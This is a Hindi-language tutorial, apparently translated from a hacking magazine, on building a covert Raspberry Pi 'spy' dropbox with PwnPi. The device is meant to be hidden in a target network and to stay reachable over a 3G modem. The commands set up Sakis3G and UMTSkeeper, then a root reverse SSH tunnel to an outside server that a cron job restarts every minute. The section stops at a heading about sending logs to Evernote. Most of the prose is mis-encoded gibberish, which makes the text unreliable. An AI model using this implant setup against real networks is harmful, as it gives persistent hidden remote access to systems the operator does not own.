рд▓рд┐рдЯрд┐рд▓ рдмреНрд░рд┐рдЯрд┐рд╢ рдЬрд╛рд╕реВрд╕ - рд░рд╛рд╕реНрдкрдмреЗрд░реА рдкрд╛рдИ рдкрд░ рдмреБрдХрдорд╛рд░реНрдХ

рд╣реИрдХрд░ рдХреЗ рдордИ рдЕрдВрдХ рдХрд╛ рдмрдбрд╝рд╛ рд╡рд┐рд╖рдп рд░рд╛рд╕реНрдкрдмреЗрд░реА рдкрд╛рдИ рдерд╛ред рд╣рдордиреЗ "рд░рд╛рд╕реНрдкрдмреЗрд░реА" рдХреЗ рдирд┐рд░реНрдорд╛рддрд╛, рдПрдмреЗрди рдЕрдкреНрдЯрди рдХреЗ рд╕рд╛рде рдмрд╛рдд рдХреА, рдФрд░ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдХрд┐ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреЗ рдкрд╣рд▓реЗ рд╡рд░реНрд╖ рдХреЗ рдкрд░рд┐рдгрд╛рдо рдХреНрдпрд╛ рд╣реИрдВ, рдФрд░ рдЕрдЧрд▓реЗ рдореЗрдВ рдПрдХ рдЫреЛрдЯреЗ рд╕реЗ рдХрдВрдкреНрдпреВрдЯрд░ рдХрд╛ рдЗрдВрддрдЬрд╛рд░ рд╣реИред рд╣рдордиреЗ рд░рд╛рд╕реНрдкрдмреЗрд░реА рдкрд░ рдЖрдзрд╛рд░рд┐рдд рджреЛ рдЕрд╡рдзрд╛рд░рдгрд╛рдУрдВ рдХрд╛ рднреА рд╡рд░реНрдгрди рдХрд┐рдпрд╛: рдПрдХ рдЕрдЧреЛрдЪрд░ рдмреБрдХрдорд╛рд░реНрдХ, рдЬреЛ рдЕрдкрдиреЗ рдЖрдХрд╛рд░ рдХреЗ рдХрд╛рд░рдг, рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ рдбреЗрдЯрд╛ рдХреЛ рдПрдХрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ (рдПрд╡рд░рдиреЛрдЯ рдореЗрдВ рдПрд╕рдПрдордПрд╕ рдФрд░ рдбреНрд░реЙрдкрд┐рдВрдЧ рд▓реЙрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдорд╛рдВрдб рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ), рд╕рд╛рде рд╣реА рд╕рд╛рде Google рдбреНрд░рд╛рдЗрд╡ рдХреЗ рд╕рд╛рде рдПрдХреАрдХреГрдд рд╡реАрдбрд┐рдпреЛ рдирд┐рдЧрд░рд╛рдиреА рднреАред рдЗрди рдЕрд╡рдзрд╛рд░рдгрд╛рдУрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣рдо рдЖрдкрдХреЗ рдзреНрдпрд╛рди рдореЗрдВ рд▓рд╛рддреЗ рд╣реИрдВред




рдПрдХ рдбреНрд░реЙрдкрдмреЙрдХреНрд╕ рдХрд╛ рд╡рд┐рдЪрд╛рд░ рд╕рд░рд▓ рд╣реИ: рдпрджрд┐ рдЖрдк рдПрдХ рдмреИрдЯрд░реА рдФрд░ 3 рдЬреА рдореЙрдбреЗрдо рдХреЗ рд╕рд╛рде рдПрдХ рд▓рдШреБ рдХрдВрдкреНрдпреВрдЯрд░ рд╕реЗ рд▓реИрд╕ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдПрдХ рдЬрд╛рд╕реВрд╕ рдмреЙрдХреНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЪреБрдкрдЪрд╛рдк рдЕрдзреНрдпрдпрди рдХреЗ рддрд╣рдд рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ рдЬреБрдбрд╝рддрд╛ рд╣реИ рдФрд░ рдПрдХрддреНрд░ рдХрд┐рдП рдЧрдП рдбреЗрдЯрд╛ рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдЕрд╡рдзрд╛рд░рдгрд╛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд░рд╛рд╕реНрдкрдмреЗрд░реА рдкрд╛рдИ рдкрд░ рд▓рд╛рдЧреВ рдХреА рдЧрдИ рд╣реИред



рдЖрдЧреЗ рджреЗрдЦрддреЗ рд╣реБрдП, рдореИрдВ рдХрд╣рддрд╛ рд╣реВрдВ: рдЙрдЪреНрдЪ рдКрд░реНрдЬрд╛ рдЦрдкрдд рдХреЗ рдХрд╛рд░рдг, рд╣рдорд╛рд░рд╛ рдбреНрд░реЙрдкрдмреЙрдХреНрд╕ рд╣рдорд╛рд░реЗ рдЕрдкрдиреЗ рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рдЙрдкрдпреБрдХреНрдд рд╣реИред рдЕрдЬрдирдмрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП, рдЙрд╕рдХреЗ рдкрд╛рд╕ рдкрд░реНрдпрд╛рдкреНрдд рдмреИрдЯрд░реА рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрд╡рдзрд╛рд░рдгрд╛ рдЕрднреА рднреА рдЖрдХрд░реНрд╖рдХ рджрд┐рдЦрддреА рд╣реИред рд╣рдо PwnPi рд╡рд┐рддрд░рдг рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдпрд╣ рд╕рдм рдХрд░реЗрдВрдЧреЗред рдЗрд╕рдореЗрдВ, рд╣рдо рдореЙрдбреЗрдо рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВрдЧреЗ, рдПрд╕рдПрдордПрд╕ рджреНрд╡рд╛рд░рд╛ рдХрдорд╛рдВрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдФрд░ рдПрд╡рд░рдиреЛрдЯ рдореЗрдВ рд▓реЙрдЧ рднреЗрдЬрдирд╛ рд╕реАрдЦреЗрдВрдЧреЗред рдореЗрд░реЗ рдирд┐рдкрдЯрд╛рди рдореЗрдВ рдПрдХ 3 рдЬреА рдореЙрдбреЗрдо рд╣реБрдЖрд╡реЗрдИ рдИ 1550 ("рдореЗрдЧрд╛рдкреЛрди рдИ 1550") рдерд╛ред

рдореЙрдбреЗрдо рдореЛрдб рдкрд░ рд╕реНрд╡рд┐рдЪ рдХрд░реЗрдВ


рдХрдИ 3G рдореЙрдбреЗрдо, рдЬрдм рдХрдиреЗрдХреНрдЯ рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рдЖрд╡рд╢реНрдпрдХ рдбреНрд░рд╛рдЗрд╡рд░реЛрдВ рдХреЛ рдкреВрд░реНрд╡-рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдбрд┐рд╕реНрдХ рдХреА рддрд░рд╣ рджрд┐рдЦрддреЗ рд╣реИрдВ, рдФрд░ рдореЙрдбреЗрдо рдореЛрдб рдкрд░ рд╕реНрд╡рд┐рдЪ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред E1550 рдореЙрдбреЗрдо рдЙрдирдореЗрдВ рд╕реЗ рдПрдХ рд╣реИ рдФрд░ рд╢реБрд░реВ рдореЗрдВ рдПрдХ рдЯрд░реНрдорд┐рдирд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИ ...

# ls /dev/ttyUSB* ls: cannot access /dev/ttyUSB11*: No such file or directory 

рдЖрдЗрдП USB рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд╡рд┐рд╡рд░рдг рдХреЛ рджреЗрдЦреЗрдВ:

 # lsusb Bus 001 Device 009: ID 12d1:1446 Huawei Technologies Co., Ltd. E1552/E1800/E173 (HSPA modem) 

рд▓реЗрдХрд┐рди рдпрд╣ рдбрд┐рд╕реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИ:

 # ls -l /dev/disk/by-id/ usb-HUAWEI_MMC_Storage-0:0 -> ../../sda usb-HUAWEI_Mass_Storage-0:0 -> ../../sr0 

рдЗрд╕реЗ рдореЙрдбреЗрдо рдореЛрдб рдкрд░ рд╕реНрд╡рд┐рдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдПрдХ рдЕрддрд┐рд░рд┐рдХреНрдд рдкреНрд░реЛрдЧреНрд░рд╛рдо рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рд░рд┐рдмреВрдЯ (рдЕрдиреНрдп рдореЛрдбреЗрдо рдХреЛ рдЕрдиреНрдп рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИ):

 # apt-get update && apt-get install usb-modeswitch # reboot 

рдЖрдЗрдП USB рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рд╡рд┐рд╡рд░рдг рдХреЛ рдлрд┐рд░ рд╕реЗ рджреЗрдЦреЗрдВ:

 # lsusb Bus 001 Device 010: ID 12d1:1003 Huawei Technologies Co., Ltd. E220 HSDPA Modem / E230/E270/E870 HSDPA/HSUPA Modem 

рдпрд╣ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдореЙрдбреЗрдо рдиреЗ рдбрд┐рд╡рд╛рдЗрд╕ рдЖрдИрдбреА рдХреЛ рдмрджрд▓ рджрд┐рдпрд╛ рд╣реИ, рдФрд░ рдЕрдм рдЗрд╕рдХреЗ рдкреЛрд░реНрдЯ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рд╣реИрдВ:

 # ls /dev/ttyUSB* /dev/ttyUSB0 /dev/ttyUSB1 



PwnPi рдкрд░ рд╢реБрднрдХрд╛рдордирд╛рдПрдВ

рдорд┐рдирд┐рдХреЙрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдореЙрдбреЗрдо рддрдХ рдкрд╣реБрдВрдЪрдирд╛


рдкреНрд░рджрд░реНрд╢рди рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдЗрд╕реЗ рдПрдХ рдирд┐рдпрдорд┐рдд рдореЙрдбреЗрдо рдХреА рддрд░рд╣ "рдкрд╣реБрдВрдЪ" рддрдХ рдкрд╣реБрдБрдЪрд╛рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, minicom рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП:

 # apt-get install minicom # minicom -D /dev/ttyUSB0 

рд╣рдо рдПрдЯреА рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдореЙрдбреЗрдо рдирд┐рд░реНрдорд╛рддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддреЗ рд╣реИрдВ

 ati0 Manufacturer: huawei Model: E1550 Revision: 11.608.12.10.209 IMEI: < IMEI   > +GCAP: +CGSM,+DS,+ES OK 

<Ctrl + A + Q> рджрдмрд╛рдХрд░ рдмрд╛рд╣рд░ рдирд┐рдХрд▓реЗрдВред

рд╕рд╛рдХрд┐рд╕ рдФрд░ рдпреВрдПрдордЯреАрдПрд╕рдХреАрдкрд░


рдкрд╣рд▓рд╛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдЬрд┐рд╕реЗ рд╣рдореЗрдВ 3 рдЬреА рдореЙрдбреЗрдо рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА, рд╡рд╣ рд╣реИ рд╕рдХреАрд╕ 3 рдЬреА, 3 рдЬреА рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯред Sakis-3g.org рдкреНрд░реЛрдЬреЗрдХреНрдЯ рд╣реЛрдо рдкреЗрдЬ рдХреБрдЫ рд╕рдордп рдХреЗ рд▓рд┐рдП рдЕрдиреБрдкрд▓рдмреНрдз рд╣реИ, рд▓реЗрдХрд┐рди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдПрдХ рдХреЙрдкреА рд╕реЛрд░реНрд╕рдлреЛрд░реНрдЬ рдкрд░ рд╣реИред рдЗрд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ, рдЗрд╕реЗ рдЕрдирдЬрд╝рд┐рдк рдХрд░реЗрдВ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдХреНрд╖рдо рдХрд░реЗрдВ:

 # mkdir ~/3g && cd ~/3g # wget http://downloads.sourceforge.net/project/vim-n4n0/sakis3g.tar.gz -O sakis3g.tar.gz # tar -xzvf sakis3g.tar.gz # chmod +x sakis3g 

PPP рд╕рдорд░реНрдерди рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ

 # apt-get install ppp 

рдЖрдЗрдП рдЖрд╡рд╢реНрдпрдХ рдбреЗрдЯрд╛ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддреЗ рд╣реБрдП, рдЗрдВрдЯрд░рдПрдХреНрдЯрд┐рд╡ рдореЛрдб рдореЗрдВ рдПрдХ рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред

 # ./sakis3g --interactive 

рд╣рдо рдЕрдЧрд▓реЗ рдЕрдиреБрд░реЛрдз рдХреЗ рдЬрд╡рд╛рдм рдореЗрдВ рдкрд╣рд▓рд╛ рд╡рд┐рдХрд▓реНрдк, "3 рдЬреА рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВ" рдЪреБрдиреЗрдВ, 11 рдХрд╛ рдЪрдпрди рдХрд░реЗрдВред рдХрд╕реНрдЯрдо APN ... "ред рд╣рдо рд╕рдВрдХреЗрдд рджреЗрддреЗ рд╣реИрдВ (рдореЗрдЧрд╛рдлреЛрди-рдореЙрд╕реНрдХреЛ рдХреЗ рд▓рд┐рдП рдбреЗрдЯрд╛):

 APN: internet APN_USER: megafon APN_PASS: megafon 

рдпрджрд┐ рдХрдиреЗрдХреНрд╢рди рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рддреЛ рдореЗрдиреВ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓реЗрдВ рдФрд░ рдЗрдВрдЯрд░рдиреЗрдЯ рдПрдХреНрд╕реЗрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ:

 # ping google.com 

рдЕрдЧрд▓рд╛ рдкреНрд░реЛрдЧреНрд░рд╛рдо, UMTSkeeper (zool33.uni-graz.at/petz/umtskeeper), рдХрдиреЗрдХреНрд╢рди рдХреЗ рдбрд┐рд╕реНрдХрдиреЗрдХреНрдЯ рд╣реЛрдиреЗ рдкрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрдиреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдбрд╛рдЙрдирд▓реЛрдб, рдЕрдирдЬрд╝рд┐рдк рдХрд░реЗрдВ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдХреНрд╖рдо рдХрд░реЗрдВ:

 # mkdir ~/3g && cd 3g # wget http://zool33.uni-graz.at/petz/umtskeeper/src/umtskeeper.tar.gz # tar -xzvf umtskeeper.tar.gz # chmod +x umtskeeper 

рдЖрдЗрдП USBTSODEM (рд╡рд┐рдХреНрд░реЗрддрд╛ рдЖрдИрдбреА: рдбрд┐рд╡рд╛рдЗрд╕ рдЖрдИрдбреА, рдЬреЛ рдЖрдкрдХреЗ lsusb рдХрдорд╛рдВрдб рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рддреЗ рд╕рдордп рджрд┐рдЦрд╛рдИ рджреЗрддреА рд╣реИ) рдФрд░ CUSTOM_APN, APN_USER, APN_PASS, SIM_PIN (3G рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбреЗрдЯрд╛) рдореЗрдВ рд╣рдорд╛рд░реЗ рдореВрд▓реНрдпреЛрдВ рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ рд╣реБрдП, UMTSkeeper рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред

 # ./umtskeeper --sakisoperators "USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN='CUSTOM_APN' CUSTOM_APN='internet' SIM_PIN='1234' APN_USER='megafon' APN_PASS='megafon'" --sakisswitches "--sudo --console" --devicename 'Huawei' --log --silent --nat 'no' 

рд╣рдо рджреВрд╕рд░реА рд╡рд┐рдВрдбреЛ рдореЗрдВ рдЬрд░реНрдирд▓ рдЦреЛрд▓рдХрд░ рдХрд╛рдо рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░реЗрдВрдЧреЗ:

 # tail /var/log/umtskeeper.log -f 2013-04-01 10:37:38 Start: interval=4*8s Internet status: Modem plugged, not connected to internet. 2013-04-01 10:38:27 Internet connection is DOWN. Calling Sakis3G connect... Sakis3G cmdLine: nice ./sakis3g connect --sudo --console USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN='CUSTOM_APN' CUSTOM_APN='internet' SIM_PIN='1234' APN_USER='megafon' APN_PASS='megafon' Sakis3G says... E1550 connected to MegaFon (25002). 2013-04-01 10:39:20 Testing connection... 2013-04-01 10:39:37 Success... we are online! 

рдЕрдм рдмреВрдЯ рдкрд░ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП /etc/rc.local рд╕рдВрдкрд╛рджрд┐рдд рдХрд░реЗрдВ:

 # nano /etc/rc.local /root/3g/umtskeeper --sakisoperators "USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN='CUSTOM_APN' CUSTOM_APN='internet' SIM_PIN='1234' APN_USER='megafon' APN_PASS='megafon'" --sakisswitches "--sudo --console" --devicename 'Huawei' --log --silent --nat 'no' & 

рдФрд░ рд░рд┐рдмреВрдЯ рдХреЗ рдмрд╛рдж рдЬрд╛рдВрдЪ рдХрд░реЗрдВред


Sakis3G рдЗрдВрдЯрд░рдлрд╝реЗрд╕

рдЙрд▓рдЯрд╛ ssh


3 рдЬреА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ PwnPi рдХреЛ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд░рд┐рд╡рд░реНрд╕ рдПрд╕рдПрд╕рдПрдЪ рд╕реБрд░рдВрдЧ рдХреЛ рдКрдкрд░ рдЙрдард╛рдирд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ (рдЗрд╕рдХреЗ рд▓рд┐рдП рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЖрдИрдкреА рдХреЗ рд╕рд╛рде рд╕рд░реНрд╡рд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ)ред
PwnPi рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╕рд░реНрд╡рд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдкрд╛рд╕рд╡рд░реНрдб рджрд░реНрдЬ рдХрд┐рдП рдмрд┐рдирд╛, рд╣рдо PwnPi рдкрд░ рдирд┐рдЬреА / рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВрдЧреЗ рдФрд░ рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдХреА рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдмрдирд╛рдПрдБ:

 # ssh-keygen # scp /root/.ssh/id_rsa.pub root@< >:/root/ 

рд╕рд░реНрд╡рд░ рдкрд░ (рдпрджрд┐ рдпрд╣ рдбреЗрдмрд┐рдпрди рд╣реИ), рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдХреЛ рдЕрдзрд┐рдХреГрдд рд▓реЛрдЧреЛрдВ рдХреА рд╕реВрдЪреА рдореЗрдВ рдЬреЛрдбрд╝реЗрдВ:

 $ cat ~/id_rsa.pub >> ~/.ssh/authorized_keys 

рдЪрд▓реЛ PwnPi рдХреЗ рд╕рд╛рде рд╕рд░реНрд╡рд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ:

 # ssh root@< > 

рдкрд╛рд╕рд╡рд░реНрдб рдорд╛рдВрдЧреЗ рдмрд┐рдирд╛ рдХрдиреЗрдХреНрд╢рди рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдпрджрд┐ рдкрд╛рд╕рд╡рд░реНрдб рдЕрднреА рднреА рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдХрдиреЗрдХреНрд╢рди рдкрд╣рд▓реА рдмрд╛рд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рддрдХ рдкрд╣реБрдВрдЪ рдЕрдзрд┐рдХрд╛рд░ (рдФрд░ рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рд╕рдВрдкреВрд░реНрдг рд░реВрдк рд╕реЗ) рд╕реЗрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛:

 # chmod 755 ~ # chmod 700 ~/.ssh # chmod 600 ~/.ssh/authorized_keys 

рдЕрдм рдПрдХ рдкреЛрд░реНрдЯ рдлреЙрд░рд╡рд░реНрдбрд┐рдВрдЧ рдЯрдирд▓ рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВред PwnPi рдХреА рддрд░рдл рд╕реЗ:

 # ssh -q -N -R 1221:localhost:22 root@< > 

рд╕рд░реНрд╡рд░ рдХреА рдУрд░, рдкреЛрд░реНрдЯ 1221 рдЕрдм рдХрдиреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдЗрдВрддрдЬрд╛рд░ рдХрд░ рд░рд╣рд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХреЗрд╡рд▓ 127.0.0.1 рдЗрдВрдЯрд░рдлреЗрд╕ рдкрд░:

 # netstat -an |grep 1221 tcp 0 0 127.0.0.1:1221 0.0.0.0:* LISTEN 

рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб рдкрд░, рд╕реНрдерд╛рдиреАрдп рдкреЛрд░реНрдЯ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдХреЗ рд░рд┐рд╡рд░реНрд╕ рдПрд╕рдПрд╕рдПрдЪ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдиреЗрдХреНрд╢рди рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ:

 # ssh root@localhost -p 1221 

рдпрджрд┐ рд╕рдм рдХреБрдЫ рд╕рд╣реА рд╣реИ, PwnPi рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд░реВрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рджрд░реНрдЬ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдореЗрдВ PwnPi рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреА рдЪрд╛рд╣рд┐рдПред рд╕рд░реНрд╡рд░ рдХреА рддрд░рдл, рд╕рднреА рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЗ рд▓рд┐рдП рдкреЛрд░реНрдЯ рдлрд╝реЙрд░рд╡рд░реНрдбрд┐рдВрдЧ рд╕рдХреНрд╖рдо рдХрд░реЗрдВ:

 # nano /etc/ssh/sshd_config GatewayPorts yes 

рдЕрдм sshd рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рдХреЛ рдлрд┐рд░ рд╕реЗ рдкрдврд╝рдирд╛ рд╣реЛрдЧрд╛ред рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рдЗрд╕рдореЗрдВ рдХреНрдпрд╛ рдкреАрдЖрдИрдбреА тАЛтАЛрд╣реИ:

 # ps aux|grep sshd ... root 23511 0.0 2.1 9920 5376 ? Ss 13:09 0:00 /usr/sbin/sshd ... 

рдФрд░ рдЙрд╕реЗ HUP рд╕рд┐рдЧреНрдирд▓ рднреЗрдЬреЗрдВ:

 # kill -hup 23511 # tail /var/log/sshd.log 

рдЕрдм, PwnPi рдХреЗ рд╕рд╛рде рдПрдХ рд╕рдВрдмрдВрдз рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕рднреА рдЗрдВрдЯрд░рдлреЗрд╕ рдкрд░ рдПрдХ рдХрдиреЗрдХреНрд╢рди рдХреА рдЙрдореНрдореАрдж рдХрд░рддреА рд╣реИ:

 # netstat -an -p |grep 1221 tcp 0 0 0.0.0.0:1221 0.0.0.0:* LISTEN 21990/ sshd: root 

рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд▓реЙрдиреНрдЪ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрдирд╛рдПрдВ рдФрд░ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдЕрдзрд┐рдХрд╛рд░ рджреЗрдВ:

 # nano /root/reverse_ssh_tunnel.sh #!/bin/sh USERHOST=root@< > RPORT=22 #  SSH  FPORT=1221 # ,      CONN=localhost:22 #  SSH Listener  PwnPi COMMAND="ssh -q -N -R $FPORT:$CONN $USERHOST -p $RPORT" pgrep -f -x "$COMMAND" > /dev/null 2>&1 || $COMMAND ssh $USERHOST -p $RPORT netstat -an | egrep "tcp.*:$FPORT.*LISTEN">/dev/null 2>&1 if [ $? -ne 0 ] ; then echo "Restarting connection" pkill -f -x "$COMMAND" $COMMAND else echo 'Connection OK' fi # chmod +x reverse_ssh_tunnel.sh 

Crontab рдореЗрдВ рд╣рд░ рдорд┐рдирдЯ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкрдВрдХреНрддрд┐ рдЬреЛрдбрд╝реЗрдВ:

 # crontab -e */1 * * * * /bin/sh /root/reverse_ssh_tunnel.sh 


рдПрд╡рд░рдиреЛрдЯ рдХреЗ рд▓рд┐рдП рдбреЗрдЯрд╛ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╕рд╣реЗрдЬреЗрдВ


